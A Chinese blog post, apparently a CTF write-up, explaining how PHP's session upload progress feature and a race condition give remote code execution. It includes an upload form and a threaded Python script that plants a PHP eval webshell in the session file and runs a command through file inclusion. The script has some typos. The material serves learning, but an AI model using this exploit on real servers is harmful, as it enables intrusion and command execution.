SESSION上传机制和条件竞争RCE

前言

一个多月没水博客了
那就把之前还在学校学的东西记录一下吧
要把三个月前的东西记录一下
又回去翻了一些资料,但相较于第一次学习,又收获了很多
而且知识也都串联起来了

PHP_process

官方文档


在这里插入图片描述
从这里我们可以得到两个信息
1、session.upload_process的值使我们可控的
2、POST的文件名与session.upload_process.name同名时,上传的内容可以再全局变量$_SESSION处获得
在这里插入图片描述
若页面中没有上传的地方,就本地表单提交

<!DOCTYPE html>
<html>
<body>
<form action="http://example/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

上传文件,同手POST一个和session.uplaod_porcess.name同名的文件,同时改文件的详细信息,上传进度都会存储在session中,后端也会将变量名存储到session文件中。

条件竞争

wiki:

条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现bug。这个术语最初来自于两个电信号互相竞争来影响输出结果。

当我们的POST数据包中存在PHP_SESSION_UPLOAD_PROGRESS字段的时候,无需调用session_start()函数,也可初始化session。但是默认会在结尾进行清除,所以我们需要利用条件竞争。(在cleanup开启时)。

当session.upload_process.enabled选项开启时,PHP能够在每个文件上传时检测上传进度。从PHP5.4起,改配置可用且默认开启。当上传文件时,同事POST与INI中设置的session.upload_process.name同名变量,PHP检测到这种POST请求时,会往session中添加一组数据,写入上传进度等信息。
其索引值为session.upload_process.prefix与$POST[session.upload_process.name]值连接在一起的值。session.upload_progress.prefix默认为upload_process,session.upload_porgress.name默认为php_session_upload_progress,所以上传时需要POSTphp_session_upload_progress,并且根据上面提到的官方文档,这里是用户可控的。
根据程序设定,这里的一句话会写在sess_xxx中

session可控

当session可控时,就可以传入恶意代码

知道session文件名

session文件名的构造是sess_ + sessionid , sessionid在cookie中可以查看

条件竞争RCE
import io
import requests
import threading

url = 'http://71fcb111-9cb6-4392-95e4-0097d1cc9c21.machine.dasctf.com/'
sessid = 'ki10Moc'
data = {"cmd": "system('cat /flag;"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post(url,
                            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
                            files={'file': ('ki10Moc.txt', f)},
                            cookies={'PHPSESSID': sessid})


def read(session):
    while True:
        resp = session.post(url+'?file=/tmpss_' + sessid,
                            data=data)
        if 'ki10Moc.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print('[*]')


if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

发表评论

您的电子邮箱地址不会被公开。